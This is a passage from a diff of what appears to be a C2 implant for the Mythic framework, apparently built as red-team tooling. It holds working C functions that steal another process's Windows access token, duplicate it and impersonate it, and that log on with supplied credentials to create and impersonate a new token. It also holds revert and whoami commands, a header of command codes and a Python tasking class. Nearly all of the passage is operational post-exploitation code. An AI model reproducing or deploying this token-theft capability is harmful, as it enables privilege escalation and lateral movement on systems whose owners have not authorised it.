CloseHandle(hProcess);
|
||||||
|
_err("[steal_token] OpenProcessToken falló. Código: %lu", firstError);
|
||||||
|
|
||||||
|
PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE);
|
||||||
|
addString(respuestaError, tareaUuid, FALSE);
|
||||||
|
PPaquete salidaError = nuevoPaquete(0, FALSE);
|
||||||
|
PackageAddFormatPrintf(salidaError, FALSE, "[steal_token] Error: No se pudo abrir token. Código: %lu\n", firstError);
|
||||||
|
addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE);
|
||||||
|
mandarPaquete(respuestaError);
|
||||||
|
liberarPaquete(salidaError);
|
||||||
|
liberarPaquete(respuestaError);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
_inf("[steal_token] Token abierto exitosamente con acceso: 0x%08lX", desiredAccess);
|
||||||
|
|
||||||
|
// Revert any existing impersonation FIRST (like Xenon's IdentityAgentRevertToken)
|
||||||
|
if (gImpersonationToken) {
|
||||||
|
RevertToSelf();
|
||||||
|
CloseHandle(gImpersonationToken);
|
||||||
|
gImpersonationToken = NULL;
|
||||||
|
_inf("[steal_token] Revertido a token original antes de robar nuevo.");
|
||||||
|
}
|
||||||
|
|
||||||
|
// Step 1: Impersonate the process token directly first (Xenon approach)
|
||||||
|
if (!ImpersonateLoggedOnUser(hToken)) {
|
||||||
|
DWORD error = GetLastError();
|
||||||
|
CloseHandle(hToken);
|
||||||
|
CloseHandle(hProcess);
|
||||||
|
_err("[steal_token] No se pudo impersonar token del proceso. Código: %lu", error);
|
||||||
|
|
||||||
|
PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE);
|
||||||
|
addString(respuestaError, tareaUuid, FALSE);
|
||||||
|
PPaquete salidaError = nuevoPaquete(0, FALSE);
|
||||||
|
PackageAddFormatPrintf(salidaError, FALSE, "[steal_token] Error: No se pudo impersonar token del proceso. Código: %lu\n", error);
|
||||||
|
addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE);
|
||||||
|
mandarPaquete(respuestaError);
|
||||||
|
liberarPaquete(salidaError);
|
||||||
|
liberarPaquete(respuestaError);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Step 2: Duplicate the ORIGINAL token (not the impersonated one) as TokenPrimary
|
||||||
|
// Xenon uses MAXIMUM_ALLOWED, SecurityDelegation, and TokenPrimary
|
||||||
|
HANDLE hDupToken = NULL;
|
||||||
|
if (!DuplicateTokenEx(hToken, MAXIMUM_ALLOWED, NULL, SecurityDelegation, TokenPrimary, &gImpersonationToken)) {
|
||||||
|
DWORD error = GetLastError();
|
||||||
|
RevertToSelf(); // Revert the temporary impersonation
|
||||||
|
CloseHandle(hToken);
|
||||||
|
CloseHandle(hProcess);
|
||||||
|
_err("[steal_token] No se pudo duplicar token. Código: %lu", error);
|
||||||
|
|
||||||
|
PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE);
|
||||||
|
addString(respuestaError, tareaUuid, FALSE);
|
||||||
|
PPaquete salidaError = nuevoPaquete(0, FALSE);
|
||||||
|
PackageAddFormatPrintf(salidaError, FALSE, "[steal_token] Error: No se pudo duplicar token. Código: %lu\n", error);
|
||||||
|
addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE);
|
||||||
|
mandarPaquete(respuestaError);
|
||||||
|
liberarPaquete(salidaError);
|
||||||
|
liberarPaquete(respuestaError);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Step 3: Impersonate the duplicated token (Xenon approach)
|
||||||
|
if (!ImpersonateLoggedOnUser(gImpersonationToken)) {
|
||||||
|
DWORD error = GetLastError();
|
||||||
|
RevertToSelf(); // Revert the temporary impersonation
|
||||||
|
CloseHandle(gImpersonationToken);
|
||||||
|
gImpersonationToken = NULL;
|
||||||
|
CloseHandle(hToken);
|
||||||
|
CloseHandle(hProcess);
|
||||||
|
_err("[steal_token] No se pudo impersonar token duplicado. Código: %lu", error);
|
||||||
|
|
||||||
|
PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE);
|
||||||
|
addString(respuestaError, tareaUuid, FALSE);
|
||||||
|
PPaquete salidaError = nuevoPaquete(0, FALSE);
|
||||||
|
PackageAddFormatPrintf(salidaError, FALSE, "[steal_token] Error: No se pudo impersonar token duplicado. Código: %lu\n", error);
|
||||||
|
addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE);
|
||||||
|
mandarPaquete(respuestaError);
|
||||||
|
liberarPaquete(salidaError);
|
||||||
|
liberarPaquete(respuestaError);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Close handles (Xenon closes hProcess first, then hToken)
|
||||||
|
CloseHandle(hProcess);
|
||||||
|
if (hToken) {
|
||||||
|
CloseHandle(hToken);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Get account name from the duplicated token
|
||||||
|
char account_name[512] = {0};
|
||||||
|
if (!IdentityGetUserInfo(gImpersonationToken, account_name, sizeof(account_name))) {
|
||||||
|
strcpy(account_name, "Unknown");
|
||||||
|
}
|
||||||
|
|
||||||
|
// Generate token_id (use PID for simplicity)
|
||||||
|
UINT32 token_id = pid;
|
||||||
|
|
||||||
|
// Register token with callback for use in tasking
|
||||||
|
char hostname[MAX_COMPUTERNAME_LENGTH + 1] = {0};
|
||||||
|
DWORD hostname_len = sizeof(hostname);
|
||||||
|
GetComputerNameA(hostname, &hostname_len);
|
||||||
|
|
||||||
|
PPaquete respuestaFinal = nuevoPaquete(POST_RESPONSE, TRUE);
|
||||||
|
addString(respuestaFinal, tareaUuid, FALSE);
|
||||||
|
PPaquete salidaFinal = nuevoPaquete(0, FALSE);
|
||||||
|
PackageAddFormatPrintf(salidaFinal, FALSE, "[steal_token] Token robado e impersonado exitosamente: %s (Token ID: %lu)\n", account_name, token_id);
|
||||||
|
addBytes(respuestaFinal, (PBYTE)salidaFinal->buffer, salidaFinal->length, TRUE);
|
||||||
|
|
||||||
|
// Add artifact for token impersonation
|
||||||
|
char artifact_msg[512] = {0};
|
||||||
|
snprintf(artifact_msg, sizeof(artifact_msg), "Process Token Impersonation: PID %lu -> User: %s", pid, account_name);
|
||||||
|
addArtifact(respuestaFinal, "Token Impersonation", artifact_msg);
|
||||||
|
|
||||||
|
// Add callback token registration
|
||||||
|
addCallbackToken(respuestaFinal, "add", hostname, token_id);
|
||||||
|
|
||||||
|
mandarPaquete(respuestaFinal);
|
||||||
|
liberarPaquete(salidaFinal);
|
||||||
|
liberarPaquete(respuestaFinal);
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @brief Create token using credentials and impersonate it
|
||||||
|
* Based on Xenon's TokenMake implementation
|
||||||
|
*/
|
||||||
|
VOID CrearToken(PAnalizador argumentos) {
|
||||||
|
// For input_type=string commands, format is: [UUID:36 bytes fixed][nbArg:4][param1:length_prefixed][param2:length_prefixed]...
|
||||||
|
// UUID is 36 bytes fixed (no length prefix), same as steal_token
|
||||||
|
SIZE_T tamanoUuid = 36;
|
||||||
|
PCHAR tareaUuid = getString(argumentos, &tamanoUuid);
|
||||||
|
UINT32 nbArg = getInt32(argumentos);
|
||||||
|
|
||||||
|
// Ensure UUID is null-terminated for addString (same as screenshot)
|
||||||
|
CHAR uuidBuffer[37] = {0};
|
||||||
|
if (tareaUuid && tamanoUuid == 36) {
|
||||||
|
memcpy(uuidBuffer, tareaUuid, 36);
|
||||||
|
uuidBuffer[36] = '\0';
|
||||||
|
if (tareaUuid != uuidBuffer) {
|
||||||
|
LocalFree(tareaUuid); // Free original UUID string
|
||||||
|
}
|
||||||
|
tareaUuid = uuidBuffer;
|
||||||
|
_inf("[make_token] UUID recibido: %s (length: %zu)", tareaUuid, tamanoUuid);
|
||||||
|
} else {
|
||||||
|
_err("[make_token] UUID inválido (len=%zu)", tamanoUuid);
|
||||||
|
if (tareaUuid) {
|
||||||
|
LocalFree(tareaUuid);
|
||||||
|
}
|
||||||
|
// Use placeholder if UUID is invalid
|
||||||
|
memcpy(uuidBuffer, "00000000-0000-0000-0000-000000000000", 36);
|
||||||
|
tareaUuid = uuidBuffer;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (nbArg < 3) {
|
||||||
|
PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE);
|
||||||
|
addString(respuestaError, tareaUuid, FALSE);
|
||||||
|
PPaquete salidaError = nuevoPaquete(0, FALSE);
|
||||||
|
PackageAddFormatPrintf(salidaError, FALSE, "[make_token] Error: Se requieren dominio, usuario y contraseña\n");
|
||||||
|
addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE);
|
||||||
|
mandarPaquete(respuestaError);
|
||||||
|
liberarPaquete(salidaError);
|
||||||
|
liberarPaquete(respuestaError);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
SIZE_T domain_len = 0;
|
||||||
|
SIZE_T user_len = 0;
|
||||||
|
SIZE_T pass_len = 0;
|
||||||
|
PCHAR domain = getString(argumentos, &domain_len);
|
||||||
|
PCHAR user = getString(argumentos, &user_len);
|
||||||
|
PCHAR password = getString(argumentos, &pass_len);
|
||||||
|
|
||||||
|
// Validate that all required strings were read
|
||||||
|
if (!domain || !user || !password) {
|
||||||
|
_err("[make_token] Error leyendo parámetros: domain=%p, user=%p, password=%p", domain, user, password);
|
||||||
|
if (domain) LocalFree(domain);
|
||||||
|
if (user) LocalFree(user);
|
||||||
|
if (password) LocalFree(password);
|
||||||
|
|
||||||
|
PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE);
|
||||||
|
addString(respuestaError, tareaUuid, FALSE);
|
||||||
|
PPaquete salidaError = nuevoPaquete(0, FALSE);
|
||||||
|
PackageAddFormatPrintf(salidaError, FALSE, "[make_token] Error: No se pudieron leer los parámetros\n");
|
||||||
|
addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE);
|
||||||
|
mandarPaquete(respuestaError);
|
||||||
|
liberarPaquete(salidaError);
|
||||||
|
liberarPaquete(respuestaError);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
// logon_type comes as a string parameter (input_type=string means all params are strings)
|
||||||
|
UINT32 logon_type = 9; // Default: LOGON32_LOGON_NEW_CREDENTIALS
|
||||||
|
if (nbArg >= 4) {
|
||||||
|
SIZE_T logon_type_len = 0;
|
||||||
|
PCHAR logon_type_str = getString(argumentos, &logon_type_len);
|
||||||
|
|
||||||
|
if (logon_type_str && logon_type_len > 0) {
|
||||||
|
// Null-terminate the logon_type string for atoi
|
||||||
|
char logon_type_buffer[32] = {0};
|
||||||
|
SIZE_T copy_len = (logon_type_len < sizeof(logon_type_buffer) - 1) ? logon_type_len : sizeof(logon_type_buffer) - 1;
|
||||||
|
memcpy(logon_type_buffer, logon_type_str, copy_len);
|
||||||
|
logon_type_buffer[copy_len] = '\0';
|
||||||
|
logon_type = (UINT32)atoi(logon_type_buffer);
|
||||||
|
_inf("[make_token] logon_type string recibido: '%.*s', convertido a: %lu", (int)logon_type_len, logon_type_str, logon_type);
|
||||||
|
if (logon_type_str) {
|
||||||
|
LocalFree(logon_type_str);
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
_wrn("[make_token] No se pudo leer logon_type, usando default: 9");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Convert empty domain, ".", or "\" to local computer name for local users
|
||||||
|
// LogonUserA requires the hostname (computer name) for local users, not NULL
|
||||||
|
PCHAR domain_for_logon = domain;
|
||||||
|
BOOL is_local_user = FALSE;
|
||||||
|
CHAR computer_name[MAX_COMPUTERNAME_LENGTH + 1] = {0};
|
||||||
|
DWORD computer_name_len = sizeof(computer_name);
|
||||||
|
|
||||||
|
// Check if this is a local user:
|
||||||
|
// - domain is NULL
|
||||||
|
// - domain is empty string (length 0 or strlen == 0)
|
||||||
|
// - domain is "." or "\" or "\\" (single or double backslash)
|
||||||
|
BOOL is_empty_or_local = FALSE;
|
||||||
|
if (!domain) {
|
||||||
|
is_empty_or_local = TRUE;
|
||||||
|
_inf("[make_token] Dominio es NULL, usuario local detectado");
|
||||||
|
} else {
|
||||||
|
_inf("[make_token] Dominio recibido: '%s' (length=%zu, strlen=%zu)", domain, domain_len, strlen(domain));
|
||||||
|
if (domain_len == 0 || strlen(domain) == 0) {
|
||||||
|
is_empty_or_local = TRUE;
|
||||||
|
_inf("[make_token] Dominio está vacío (length=%zu), usuario local detectado", domain_len);
|
||||||
|
} else if (strcmp(domain, ".") == 0 || strcmp(domain, "\\") == 0 || strcmp(domain, "\\\\") == 0) {
|
||||||
|
is_empty_or_local = TRUE;
|
||||||
|
_inf("[make_token] Dominio es '.' o '\\' o '\\\\', usuario local detectado");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (is_empty_or_local) {
|
||||||
|
// Get computer name for local user logon
|
||||||
|
if (GetComputerNameA(computer_name, &computer_name_len)) {
|
||||||
|
domain_for_logon = computer_name;
|
||||||
|
is_local_user = TRUE;
|
||||||
|
_inf("[make_token] Usuario local detectado, usando nombre del equipo '%s' como dominio", computer_name);
|
||||||
|
} else {
|
||||||
|
_err("[make_token] Error: No se pudo obtener nombre del equipo. Código: %lu", GetLastError());
|
||||||
|
domain_for_logon = NULL; // Fallback - will likely fail but try anyway
|
||||||
|
is_local_user = TRUE;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// LOGON32_LOGON_NEW_CREDENTIALS (9) requires a valid domain
|
||||||
|
// Since we're using the hostname (computer name) as the domain, NEW_CREDENTIALS (9) should work
|
||||||
|
// However, if running from SYSTEM context, INTERACTIVE (2) might be needed
|
||||||
|
// Keep the original logon_type - don't automatically adjust it
|
||||||
|
// The hostname is a valid domain, so NEW_CREDENTIALS (9) should work
|
||||||
|
|
||||||
|
_inf("[make_token] nbArg=%lu, logon_type=%lu (hostname='%s' como dominio)", nbArg, logon_type, domain_for_logon ? domain_for_logon : "NULL");
|
||||||
|
_inf("[make_token] Creando token para: %s\\%s (LogonType: %lu)", domain_for_logon ? domain_for_logon : "(local)", user ? user : "(null)", logon_type);
|
||||||
|
|
||||||
|
// Save current impersonation token to restore if LogonUserA fails
|
||||||
|
HANDLE previousToken = gImpersonationToken;
|
||||||
|
BOOL hadImpersonation = (previousToken != NULL);
|
||||||
|
|
||||||
|
// Revert any existing impersonation before attempting new logon
|
||||||
|
if (gImpersonationToken) {
|
||||||
|
RevertToSelf();
|
||||||
|
// Don't close previousToken yet - we might need to restore it
|
||||||
|
gImpersonationToken = NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
HANDLE hToken = NULL;
|
||||||
|
DWORD provider = (logon_type == 9) ? LOGON32_PROVIDER_WINNT50 : LOGON32_PROVIDER_DEFAULT; // LOGON32_LOGON_NEW_CREDENTIALS = 9
|
||||||
|
|
||||||
|
_inf("[make_token] Llamando LogonUserA(user='%s', domain=%s, password='%s', logon_type=%lu, provider=%lu)",
|
||||||
|
user ? user : "(null)",
|
||||||
|
domain_for_logon ? domain_for_logon : "NULL",
|
||||||
|
password ? (strlen(password) > 0 ? "[SET]" : "[EMPTY]") : "(null)",
|
||||||
|
logon_type, provider);
|
||||||
|
|
||||||
|
if (!LogonUserA(user, domain_for_logon, password, logon_type, provider, &hToken)) {
|
||||||
|
DWORD error = GetLastError();
|
||||||
|
_err("[make_token] LogonUserA falló. Código: %lu (ERROR_INVALID_PARAMETER=87, ERROR_LOGON_FAILURE=1326)", error);
|
||||||
|
|
||||||
|
// Provide helpful error messages for common cases
|
||||||
|
if (error == 87) {
|
||||||
|
_err("[make_token] ERROR_INVALID_PARAMETER (87): Verifica logon_type y provider. Para usuarios locales, usa logon_type=2 (INTERACTIVE)");
|
||||||
|
} else if (error == 1326) {
|
||||||
|
_err("[make_token] ERROR_LOGON_FAILURE (1326): Credenciales incorrectas o usuario no existe");
|
||||||
|
_err("[make_token] Sugerencia: Verifica que el usuario '%s' existe y que la contraseña es correcta", user ? user : "(null)");
|
||||||
|
if (is_local_user) {
|
||||||
|
_err("[make_token] Para usuarios locales, asegúrate de usar el nombre del equipo como dominio (ej: '%s\\%s')", domain_for_logon ? domain_for_logon : "HOSTNAME", user ? user : "USER");
|
||||||
|
}
|
||||||
|
} else if (error == 1311) {
|
||||||
|
_err("[make_token] ERROR_NO_SUCH_LOGON_SESSION (1311): No hay sesión de logon disponible");
|
||||||
|
} else if (error == 1392) {
|
||||||
|
_err("[make_token] ERROR_INVALID_NETNAME (1392): El formato del nombre de usuario o dominio es incorrecto");
|
||||||
|
}
|
||||||
|
|
||||||
|
// Restore previous impersonation if it existed
|
||||||
|
if (hadImpersonation && previousToken) {
|
||||||
|
_inf("[make_token] Restaurando impersonación anterior tras fallo");
|
||||||
|
if (ImpersonateLoggedOnUser(previousToken)) {
|
||||||
|
gImpersonationToken = previousToken;
|
||||||
|
_inf("[make_token] Impersonación anterior restaurada");
|
||||||
|
} else {
|
||||||
|
_wrn("[make_token] No se pudo restaurar impersonación anterior, cerrando token");
|
||||||
|
CloseHandle(previousToken);
|
||||||
|
}
|
||||||
|
} else if (previousToken) {
|
||||||
|
// Had token but couldn't restore, close it
|
||||||
|
CloseHandle(previousToken);
|
||||||
|
}
|
||||||
|
|
||||||
|
LocalFree(domain);
|
||||||
|
LocalFree(user);
|
||||||
|
LocalFree(password);
|
||||||
|
|
||||||
|
PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE);
|
||||||
|
addString(respuestaError, tareaUuid, FALSE);
|
||||||
|
PPaquete salidaError = nuevoPaquete(0, FALSE);
|
||||||
|
PackageAddFormatPrintf(salidaError, FALSE, "[make_token] Error: No se pudo crear token. Código: %lu\n", error);
|
||||||
|
addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE);
|
||||||
|
mandarPaquete(respuestaError);
|
||||||
|
liberarPaquete(salidaError);
|
||||||
|
liberarPaquete(respuestaError);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Try to impersonate the newly created token
|
||||||
|
if (!ImpersonateLoggedOnUser(hToken)) {
|
||||||
|
DWORD error = GetLastError();
|
||||||
|
CloseHandle(hToken);
|
||||||
|
_err("[make_token] No se pudo impersonar token. Código: %lu", error);
|
||||||
|
|
||||||
|
// Restore previous impersonation if it existed
|
||||||
|
if (hadImpersonation && previousToken) {
|
||||||
|
_inf("[make_token] Restaurando impersonación anterior tras fallo de ImpersonateLoggedOnUser");
|
||||||
|
if (ImpersonateLoggedOnUser(previousToken)) {
|
||||||
|
gImpersonationToken = previousToken;
|
||||||
|
_inf("[make_token] Impersonación anterior restaurada");
|
||||||
|
} else {
|
||||||
|
_wrn("[make_token] No se pudo restaurar impersonación anterior, cerrando token");
|
||||||
|
CloseHandle(previousToken);
|
||||||
|
}
|
||||||
|
} else if (previousToken) {
|
||||||
|
// Had token but couldn't restore, close it
|
||||||
|
CloseHandle(previousToken);
|
||||||
|
}
|
||||||
|
|
||||||
|
LocalFree(domain);
|
||||||
|
LocalFree(user);
|
||||||
|
LocalFree(password);
|
||||||
|
|
||||||
|
PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE);
|
||||||
|
addString(respuestaError, tareaUuid, FALSE);
|
||||||
|
PPaquete salidaError = nuevoPaquete(0, FALSE);
|
||||||
|
PackageAddFormatPrintf(salidaError, FALSE, "[make_token] Error: No se pudo impersonar. Código: %lu\n", error);
|
||||||
|
addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE);
|
||||||
|
mandarPaquete(respuestaError);
|
||||||
|
liberarPaquete(salidaError);
|
||||||
|
liberarPaquete(respuestaError);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Successfully impersonated new token, now safe to close previous token
|
||||||
|
if (previousToken) {
|
||||||
|
CloseHandle(previousToken);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Store token
|
||||||
|
gImpersonationToken = hToken;
|
||||||
|
|
||||||
|
// Get account name
|
||||||
|
HANDLE hCurrentProcess = GetCurrentProcess();
|
||||||
|
HANDLE hProcessToken = NULL;
|
||||||
|
char account_name[512] = {0};
|
||||||
|
if (OpenProcessToken(hCurrentProcess, TOKEN_QUERY, &hProcessToken)) {
|
||||||
|
obtenerNombreDelToken(hCurrentProcess, account_name, sizeof(account_name));
|
||||||
|
CloseHandle(hProcessToken);
|
||||||
|
}
|
||||||
|
CloseHandle(hCurrentProcess);
|
||||||
|
|
||||||
|
if (account_name[0] == '\0') {
|
||||||
|
// Ensure domain and user are valid before using them
|
||||||
|
const char* domain_safe = domain ? domain : "";
|
||||||
|
const char* user_safe = user ? user : "";
|
||||||
|
snprintf(account_name, sizeof(account_name), "%s\\%s", domain_safe, user_safe);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Generate token_id (simple hash of user+domain)
|
||||||
|
// Use existing domain_len and user_len variables (they were set by getString)
|
||||||
|
// If needed, recalculate lengths using strlen for actual string length (not buffer length)
|
||||||
|
SIZE_T actual_user_len = user ? strlen(user) : 0;
|
||||||
|
SIZE_T actual_domain_len = domain ? strlen(domain) : 0;
|
||||||
|
UINT32 token_id = 1000 + (UINT32)(actual_user_len + actual_domain_len); // Simple ID generation
|
||||||
|
|
||||||
|
char hostname[MAX_COMPUTERNAME_LENGTH + 1] = {0};
|
||||||
|
DWORD hostname_len = sizeof(hostname);
|
||||||
|
GetComputerNameA(hostname, &hostname_len);
|
||||||
|
|
||||||
|
PPaquete respuestaFinal = nuevoPaquete(POST_RESPONSE, TRUE);
|
||||||
|
addString(respuestaFinal, tareaUuid, FALSE);
|
||||||
|
PPaquete salidaFinal = nuevoPaquete(0, FALSE);
|
||||||
|
PackageAddFormatPrintf(salidaFinal, FALSE, "[make_token] Token creado e impersonado exitosamente: %s (Token ID: %lu)\n", account_name, token_id);
|
||||||
|
addBytes(respuestaFinal, (PBYTE)salidaFinal->buffer, salidaFinal->length, TRUE);
|
||||||
|
|
||||||
|
// Add artifact for token creation
|
||||||
|
char artifact_msg[512] = {0};
|
||||||
|
const char* domain_safe = domain ? domain : "";
|
||||||
|
const char* user_safe = user ? user : "";
|
||||||
|
snprintf(artifact_msg, sizeof(artifact_msg), "New Logon: User: %s\\%s (LogonType: %lu)", domain_safe, user_safe, logon_type);
|
||||||
|
addArtifact(respuestaFinal, "Token Creation", artifact_msg);
|
||||||
|
|
||||||
|
// Register token with callback
|
||||||
|
addCallbackToken(respuestaFinal, "add", hostname, token_id);
|
||||||
|
|
||||||
|
mandarPaquete(respuestaFinal);
|
||||||
|
liberarPaquete(salidaFinal);
|
||||||
|
liberarPaquete(respuestaFinal);
|
||||||
|
|
||||||
|
LocalFree(domain);
|
||||||
|
LocalFree(user);
|
||||||
|
LocalFree(password);
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @brief Revert token impersonation back to original
|
||||||
|
*/
|
||||||
|
VOID RevertirToken(PAnalizador argumentos) {
|
||||||
|
SIZE_T tamanoUuid = 36;
|
||||||
|
UINT32 nbArg = getInt32(argumentos);
|
||||||
|
PCHAR tareaUuid = getString(argumentos, &tamanoUuid);
|
||||||
|
|
||||||
|
if (gImpersonationToken) {
|
||||||
|
RevertToSelf();
|
||||||
|
CloseHandle(gImpersonationToken);
|
||||||
|
gImpersonationToken = NULL;
|
||||||
|
|
||||||
|
PPaquete respuesta = nuevoPaquete(POST_RESPONSE, TRUE);
|
||||||
|
addString(respuesta, tareaUuid, FALSE);
|
||||||
|
PPaquete salida = nuevoPaquete(0, FALSE);
|
||||||
|
PackageAddFormatPrintf(salida, FALSE, "[rev2self] Token revertido exitosamente\n");
|
||||||
|
addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE);
|
||||||
|
mandarPaquete(respuesta);
|
||||||
|
liberarPaquete(salida);
|
||||||
|
liberarPaquete(respuesta);
|
||||||
|
} else {
|
||||||
|
PPaquete respuesta = nuevoPaquete(POST_RESPONSE, TRUE);
|
||||||
|
addString(respuesta, tareaUuid, FALSE);
|
||||||
|
PPaquete salida = nuevoPaquete(0, FALSE);
|
||||||
|
PackageAddFormatPrintf(salida, FALSE, "[rev2self] No hay token impersonado para revertir\n");
|
||||||
|
addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE);
|
||||||
|
mandarPaquete(respuesta);
|
||||||
|
liberarPaquete(salida);
|
||||||
|
liberarPaquete(respuesta);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @brief Get current user context (whoami)
|
||||||
|
* Shows the current thread's impersonated user, or process user if not impersonated
|
||||||
|
* This is useful to verify that steal_token/make_token worked correctly
|
||||||
|
*/
|
||||||
|
VOID ObtenerUsuarioActual(PAnalizador argumentos) {
|
||||||
|
SIZE_T tamanoUuid = 36;
|
||||||
|
UINT32 nbArg = getInt32(argumentos);
|
||||||
|
PCHAR tareaUuid = getString(argumentos, &tamanoUuid);
|
||||||
|
|
||||||
|
PPaquete respuesta = nuevoPaquete(POST_RESPONSE, TRUE);
|
||||||
|
addString(respuesta, tareaUuid, FALSE);
|
||||||
|
PPaquete salida = nuevoPaquete(0, FALSE);
|
||||||
|
|
||||||
|
HANDLE hToken = NULL;
|
||||||
|
char user_info[512] = {0};
|
||||||
|
BOOL got_user = FALSE;
|
||||||
|
|
||||||
|
// Try to get thread token first (if impersonated)
|
||||||
|
if (OpenThreadToken(GetCurrentThread(), TOKEN_QUERY, FALSE, &hToken)) {
|
||||||
|
_inf("[whoami] Usando thread token (impersonado)");
|
||||||
|
got_user = IdentityGetUserInfo(hToken, user_info, sizeof(user_info));
|
||||||
|
CloseHandle(hToken);
|
||||||
|
} else {
|
||||||
|
DWORD error = GetLastError();
|
||||||
|
if (error == ERROR_NO_TOKEN) {
|
||||||
|
// No thread token, try process token
|
||||||
|
_inf("[whoami] No hay thread token, usando process token");
|
||||||
|
if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) {
|
||||||
|
got_user = IdentityGetUserInfo(hToken, user_info, sizeof(user_info));
|
||||||
|
CloseHandle(hToken);
|
||||||
|
} else {
|
||||||
|
_wrn("[whoami] No se pudo abrir process token. Código: %lu", GetLastError());
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
_wrn("[whoami] Error abriendo thread token. Código: %lu", error);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (got_user && strlen(user_info) > 0) {
|
||||||
|
PackageAddFormatPrintf(salida, FALSE, "%s\n", user_info);
|
||||||
|
} else {
|
||||||
|
PackageAddFormatPrintf(salida, FALSE, "[whoami] Error: No se pudo obtener información del usuario\n");
|
||||||
|
}
|
||||||
|
|
||||||
|
addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE);
|
||||||
|
mandarPaquete(respuesta);
|
||||||
|
liberarPaquete(salida);
|
||||||
|
liberarPaquete(respuesta);
|
||||||
|
}
|
||||||
|
|
||||||
@@ -0,0 +1,23 @@
|
|||||||
|
#pragma once
|
||||||
|
|
||||||
|
#ifndef TOKENS_H
|
||||||
|
#define TOKENS_H
|
||||||
|
|
||||||
|
#include "analizador.h"
|
||||||
|
#include "paquete.h"
|
||||||
|
|
||||||
|
// Token command codes (must match translator)
|
||||||
|
#define LIST_TOKENS_CMD 0x32
|
||||||
|
#define STEAL_TOKEN_CMD 0x33
|
||||||
|
#define MAKE_TOKEN_CMD 0x34
|
||||||
|
#define REV2SELF_CMD 0x35
|
||||||
|
|
||||||
|
// Forward declarations
|
||||||
|
VOID ListarTokens(PAnalizador argumentos);
|
||||||
|
VOID RobarToken(PAnalizador argumentos);
|
||||||
|
VOID CrearToken(PAnalizador argumentos);
|
||||||
|
VOID RevertirToken(PAnalizador argumentos);
|
||||||
|
VOID ObtenerUsuarioActual(PAnalizador argumentos);
|
||||||
|
|
||||||
|
#endif
|
||||||
|
|
||||||
@@ -0,0 +1,37 @@
|
|||||||
|
from mythic_container.MythicCommandBase import *
|
||||||
|
from mythic_container.MythicRPC import *
|
||||||
|
|
||||||
|
|
||||||
|
class ListTokensArguments(TaskArguments):
|
||||||
|
def __init__(self, command_line, **kwargs):
|
||||||
|
super().__init__(command_line, **kwargs)
|
||||||
|
self.args = []
|
||||||
|
|
||||||
|
async def parse_arguments(self):
|
||||||
|
pass
|
||||||
|
|
||||||
|
async def parse_dictionary(self, dictionary_arguments):
|
||||||
|
self.load_args_from_dictionary(dictionary_arguments)
|
||||||
|
|
||||||
|
|
||||||
|
class ListTokensCommand(CommandBase):
|
||||||
|
cmd = "list_tokens"
|
||||||
|
needs_admin = False
|
||||||
|
help_cmd = "list_tokens"
|
||||||
|
description = "List all available tokens from running processes"
|
||||||
|
version = 1
|
||||||
|
author = "@KaseyaOFSTeam"
|
||||||
|
argument_class = ListTokensArguments
|
||||||
|
|
||||||
|
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
|
||||||
|
response = PTTaskCreateTaskingMessageResponse(
|
||||||
|
TaskID=taskData.Task.ID,
|
||||||
|
Success=True,
|
||||||
|
)
|
||||||
|
response.DisplayParams = "Listing all available tokens..."
|
||||||
|
return response
|
||||||
|
|
||||||
|
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
|
||||||
|
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
|
||||||
|
return resp
|
||||||
|
|
||||||
@@ -0,0 +1,93 @@
|
|||||||
|
from mythic_container.MythicCommandBase import *
|
||||||
|
from mythic_container.MythicRPC import *
|
||||||
|
|
||||||
|
|
||||||
|
class MakeTokenArguments(TaskArguments):
|
||||||
